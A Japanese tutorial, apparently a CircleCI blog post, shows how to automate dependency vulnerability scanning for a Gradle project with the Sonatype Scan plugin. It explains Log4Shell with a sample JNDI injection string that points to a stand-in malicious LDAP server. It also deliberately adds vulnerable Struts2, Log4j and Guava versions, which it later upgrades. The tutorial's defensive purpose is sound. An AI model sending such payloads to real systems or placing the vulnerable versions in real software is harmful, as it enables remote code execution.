Gradle プロジェクトにおいて依存関係の脆弱性を検知することは、セキュリティ上の欠陥を抱えたライブラリの使用を未然に防ぐためにも重要です。
アプリケーションを家にたとえると、依存関係(ライブラリ)は建材に相当します。木材やガラス、レンガなどの建材に欠陥があると、泥棒に侵入されやすくなったり、地震で倒壊しやすくなったりします。同じように、脆弱なライブラリはアプリケーションの信頼性や安全性を損なうリスクとなります。
ソフトウェア開発において、依存関係に潜む脆弱性は、攻撃者がシステムへ侵入したり、データを窃取したり、アプリケーションに損害を与えたりするための「突破口」となります。こうしたリスクを最小限に抑えるには、脆弱性のある依存関係を早期に検知し、速やかにアップデートすることが不可欠です。
本記事では、CircleCI を用いて CI/CD 上で依存関係の脆弱性を自動的に検出する方法を紹介します。
前提条件
このチュートリアルを進めるには、以下が必要です。
依存関係の脆弱性がもたらすリスク
依存関係に脆弱性があると、攻撃者がシステムへ侵入する入口として悪用される可能性があります。場合によっては、アプリケーション本体のコードに含まれるバグよりも深刻な被害をもたらすことがあります。
実際の例として、Log4j バージョン 2.14.1 以前で確認された CVE-2021-44228 (Log4Shell) が挙げられます。
攻撃者はどのように脆弱性を悪用するのか
この脆弱性は、Log4j 2.14.1 に搭載されている JNDI Lookup 機能に起因するものです。Log4j は、Java アプリケーションでさまざまな情報を記録するために広く利用されている、ロギングライブラリです。
問題は、JNDI Lookup 機能がLog4j に外部ソースからコードを取得して実行することを許可している点です。攻撃者は、アプリケーションログに、次のような悪意のある文字列を挿入させることができます。
${jndi:ldap://malicious-server.com/exploit}
アプリケーションがこの文字列をログに記録すると、Log4j はそれを「攻撃者が管理する悪意のあるサーバーからコードを取得せよ」という命令として解釈します。その結果、許可なく悪意のあるコードがシステム上で実行される可能性があります。
これはリモートコード実行(RCE:Remote Code Execution)と呼ばれます。RCE では、攻撃者が被害者のサーバー上でコマンドを実行できるため、データの窃取、システムの乗っ取り、さらなる攻撃への足がかりとされる危険があります。
脆弱性を放置した場合のリスク
- リモートコード実行(RCE):攻撃者がシステムを遠隔から操作できるようになります。
- データ窃取:認証情報やユーザデータなどの機密情報が盗まれる可能性があります。
- マルウェア・ランサムウェア感染:攻撃者がサーバにマルウェアを仕込んだりランサムウェアを実行できます。
- サービス障害:アプリケーションが停止させられたり、正常に動作しなくなる恐れがあります。
依存関係の脆弱性を検出する
この問題をより理解するために、Gradle を使用した簡単なプロジェクトを作成してみましょう。
本記事では IntelliJ IDEA を使用します。IDE を起動し、以下のスクリーンショットを参考に新しいプロジェクトを作成してください。
作成後のプロジェクト構成は、以下のようになります。
VulnDependenciesCheck/
├── gradle/
│ └── wrapper/
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── src/
│ └── main/
│ └── java/
├── build.gradle
├── gradle.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
次に、build.gradle ファイルを開き、dependencies ブロックに以下の依存関係を追加します。
implementation 'org.apache.struts:struts2-core:2.5.10'
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
implementation 'com.google.guava:guava:24.1.1-jre'
追加した3つの依存関係は、すべて脆弱性が確認されているバージョンです。
org.apache.struts:struts2-core:2.5.10
リモートコード実行RCE)の脆弱性(CVE-2017-5638 があります。米信用情報大手 Equifax への攻撃で悪用されたことで知られており、攻撃者が HTTP ヘッダーを操作することで、システム上で悪意のあるコードを実行される恐れがあります。org.apache.logging.log4j:log4j-core:2.14.1
深刻な Log4Shell 脆弱性 CVE-2021-44228 の影響を受けます。${jndi:...}を含む特定の文字列をログに記録させるだけで、攻撃者にリモートコード実行を許してしまいます。com.google.guava:guava:24.1.1-jre
デシリアライゼーション脆弱性(CVE-2018-10237 が含まれています。信頼されていないオブジェクトをデシリアライズした際にメモリ枯渇を引き起こし、サービス拒否(DoS)攻撃を招く可能性があります。
IntelliJ IDEA のような IDE でも依存関係の脆弱性を検出できます。ただし、これは警告として表示されるだけで、修正が強制されるわけではありません。
手動やローカル環境でのセキュリティスキャンだけでは不十分な理由がいくつかあります。
-
開発者は時間的な制約からローカルスキャンを省略しがち
開発スピードが重視される現場では、エンジニアはセキュリティスキャンよりも新機能の実装やバグ修正にリソースを集中させがちです。「自分のローカル環境でコードが動いていれば問題ないだろう」と考えてしまい、潜在的なセキュリティリスクを見落としてしまうことがあります。実際、IntelliJ IDEA には脆弱性の警告をあえて無視するオプションも存在します。
-
環境によって結果がばらつく
例えば、開発者のローカル環境と本番サーバーで JDK のバージョンが異なると、セキュリティ面を含めたコードの挙動が変わる可能性があります。また、依存関係のキャッシュが残っていたり、ライブラリの更新が不適切だったりすると、ローカル環境と CI/CD 環境でスキャン結果に差異が生じてしまうケースもあります。
-
可視化と統制の一元管理できない
セキュリティスキャンを一元管理する仕組みがない環境では、企業は自社アプリケーションのセキュリティ状況(セキュリティ・ポスチャ)を正確に把握することができません。チームごとにセキュリティ対策がバラバラになり、統一されたポリシーが適用されているかを確認する標準的な方法も失われてしまいます。この結果、脆弱性が見逃されたまま本番環境までいき、修正コストが大きく膨らむ可能性があります。つまり、IDE やローカル環境だけに依存したスキャンには限界があるのです。
脆弱性検出の自動化
解決策は、CI/CD パイプラインに自動セキュリティスキャンを組み込み、セキュリティポリシーの監視と適用を一元管理できるプラットフォームを活用することです。
多くの開発チームが CircleCI を採用している理由は、高速なビルド、YAML による柔軟な設定、Docker のネイティブサポート、そして高度なキャッシュ機能など、パイプラインを高速化するための機能が揃っているからです。
さらに、GitHub や Bitbucket との密接な連携、ジョブの並列・分散実行といった機能により、開発プロセスの効率性と拡張性を重視するチームにとって、CircleCI は理想的な選択肢となります。
Sonatype Scan の活用
Sonatype Scan Gradle Plugin は、Sonatype 社が提供するプラットフォーム(OSS Index や Nexus IQ Server など)を利用して、Gradle プロジェクトの依存関係をスキャン、評価、監査できるプラグインです。
このプラグインを導入することで、プロジェクト内のオープンソースコンポーネントに存在する既知のセキュリティ脆弱性を特定できます。ソフトウェアのセキュリティを強化するだけでなく、コンプライアンスの遵守にも役立ちます。
build.gradle を開き、plugins ブロックに Sonatype Scan プラグインを追加します。
plugins {
// ...other plugins
id 'org.sonatype.gradle.plugins.scan' version '2.8.3' // Update the version as needed
}
まずは、ローカル環境でスキャンしてみましょう。IDE のターミナルで以下のコマンドを実行します。
./gradlew ossIndexAudit
結果を確認します。
ログの全出力は次の通りです。
実行ログには、検出された個々の脆弱性が詳細にリストアップされています。各項目には、脆弱性の説明、CVSS スコア、CVE 参照番号、および詳細な分析ページへのリンクが含まれています。
今回のスキャン(Gradle Scan v2.8.3)では、合計 15 件の依存関係をチェックし、そのうち 5 件で脆弱性が検出されました。
特に深刻なのは org.apache.struts です。使用している struts2-core@2.5.10 には 12 件もの CVE が紐付いており、その多くが Critical(緊急、CVSS 9.8)と判定されており、リモートコード実行の恐れがあります。他にも、不適切な入力検証(Improper Input Validation)、ファイルアップロード時のパス・トラバーサル(File Upload Path Traversal)、リソース枯渇(Resource Exhaustion)といった重大なリスクを含んでいます。
🔴 Status: Build FAILED due to a high-security vulnerability detected. (深刻なセキュリティ脆弱性が検出されたため、ビルド失敗)
CircleCI で Sonatype Scan を自動化する
CircleCI で Sonatype Scan を実行するには、まずプロジェクトを GitHub にプッシュし、CircleCI と連携します。セットアップの過程で、CircleCI は自動的に circleci-project-setup という新しいブランチを作成します。このブランチには、初期設定ファイルである .circleci/config.yml が含まれています。
この circleci-project-setup ブランチは、メインブランチを直接書き換えることなく、パイプラインの初期設定を安全に行うために生成されるものです。この仕組みにより、設定内容を実際の開発ワークフローに反映させる前に、内容を十分にプレビュー・カスタマイズすることができます。
.circleci/config.ymlを開くと、デフォルトでは次のような内容になっています。
# This config was automatically generated from your source code
# Stacks detected: deps:java:.,tool:gradle:
version: 2.1
jobs:
test-java:
docker:
- image: cimg/openjdk:17.0
steps:
- checkout
- run:
name: Calculate cache key
command: |-
find . -name 'pom.xml' -o -name 'gradlew*' -o -name '*.gradle*' | \
sort | xargs cat > /tmp/CIRCLECI_CACHE_KEY
- restore_cache:
key: cache-{{ checksum "/tmp/CIRCLECI_CACHE_KEY" }}
- run:
command: ./gradlew check
- store_test_results:
path: build/test-results
- save_cache:
key: cache-{{ checksum "/tmp/CIRCLECI_CACHE_KEY" }}
paths:
- ~/.gradle/caches
- store_artifacts:
path: build/reports
deploy:
# This is an example deploy job, not actually used by the workflow
docker:
- image: cimg/base:stable
steps:
# Replace this with steps to deploy to users
- run:
name: deploy
command: "#e.g. ./deploy.sh"
workflows:
build-and-test:
jobs:
- test-java
# - deploy:
# requires:
# - test-java
このワークフローにはデフォルトで 2 つのジョブが定義されていますが、実際に有効になっているのは 1 つだけです。
- test-java:Docker コンテナ(OpenJDK 17)上で、Gradle を使用して Java テストを実行します。キャッシュを利用し、テスト結果やレポートを保存します。
- Deploy:デプロイ用のプレースホルダーですが現時点では使用されておらず、コメントアウトされています。
次に、Sonatype Scan を実行するための新しいジョブをワークフローに追加します。 そのために、まず GitHub から最新のコードを取得し、circleci-project-setup ブランチへ切り替えてください。
git pull ** git checkout circleci-project-setup
.circleci/config.yml を開き、以下のジョブを追加します。
vulnerable-dependencies-scan:
docker:
- image: cimg/openjdk:17.0
steps:
- checkout
- run:
name: Scanning for Vulnerable Dependencies
command: ./gradlew ossIndexAudit
このジョブは Gradle の ossIndexAudit タスクを実行し、以下の手順で脆弱な依存関係をスキャンします。
- Docker (OpenJDK 17)環境を使用
- プロジェクトコードのチェックアウト
./gradlew ossIndexAuditを実行し、依存関係に存在する既知のセキュリティ問題を検出
次に、作成したジョブを workflows セクションで定義します。
workflows:
build-and-test:
jobs:
- test-java
- vulnerable-dependencies-scan # the new job
# - deploy:
# requires:
# - test-java
これで、test-java と vulnerable-dependencies-scan の 2 つのジョブが有効になりました。
設定が完了したら、変更内容をリポジトリにプッシュします。パイプラインの実行後、 CircleCI のダッシュボードからログを確認してみましょう。
ビルドが失敗しました。 実際の開発現場であれば、本番環境にデプロイする前に開発チームに修正を求めることができます。
ローカルで実行した内容と同じ状態になっているか、詳細ログを確認しましょう。
このビルドを修正するには、問題のあるライブラリや依存関係を安全なバージョンへアップデートするだけです。
implementation 'org.apache.struts:struts2-core:6.4.0'
implementation 'org.apache.logging.log4j:log4j-core:2.17.1'
implementation 'com.google.guava:guava:32.0.1-jre'
今回適用したアップデート内容は次の通りです。
| ライブラリ | 以前のバージョン | 更新後のバージョン | アップデート理由 |
|---|---|---|---|
| Struts2 | 2.5.10 | 6.4.0 | セキュリティ修正、Jakarta EE 対応、Java 11+ 対応、モジュール性の向上 |
| Log4j | 2.14.1 | 2.17.1 | Log4Shell の緩和、その他セキュリティパッチの適用、デフォルト設定の安全性向上 |
| Guava | 24.1.1-jre | 32.0.1-jre | パフォーマンス向上、新 API の追加、バグ修正、最新 Java のサポート強化 |
circleci-project-setup ブランチをメインブランチにマージ し、不要になったら削除して構いません。
予想通り、今回はビルドが成功しました。
まとめ
脆弱な依存関係の検出は ”あれば良いもの” ではなく、ソフトウェア開発における重要なベストプラクティスのひとつです。
脆い建材が家全体の安全を脅かすのと同じように、古く安全でないライブラリはアプリケーション、さらには企業そのものの信頼を損なうリスクを孕んでいます。IDE やローカル環境での手動チェックは、特に納期に追われる開発現場においては、どうしても見落としやばらつきが生じてしまうものです。
しかし、Sonatype Scan Gradle プラグインのようなツールを CircleCI の CI/CD パイプラインに統合すれば、開発プロセスの初期段階でリスクを特定し、軽減するための「信頼できる自動化された仕組み」を構築できます。これにより、セキュリティとコンプライアンスが強化されるだけでなく、チームは自信を持って、よりスピーディーに開発サイクルを回せるようになるのです。
安全なコードは、持続可能なコードです。脆弱性スキャンの自動化を今日から始めましょう。
本プロジェクトの完全なソースコードは、GitHub で公開しています。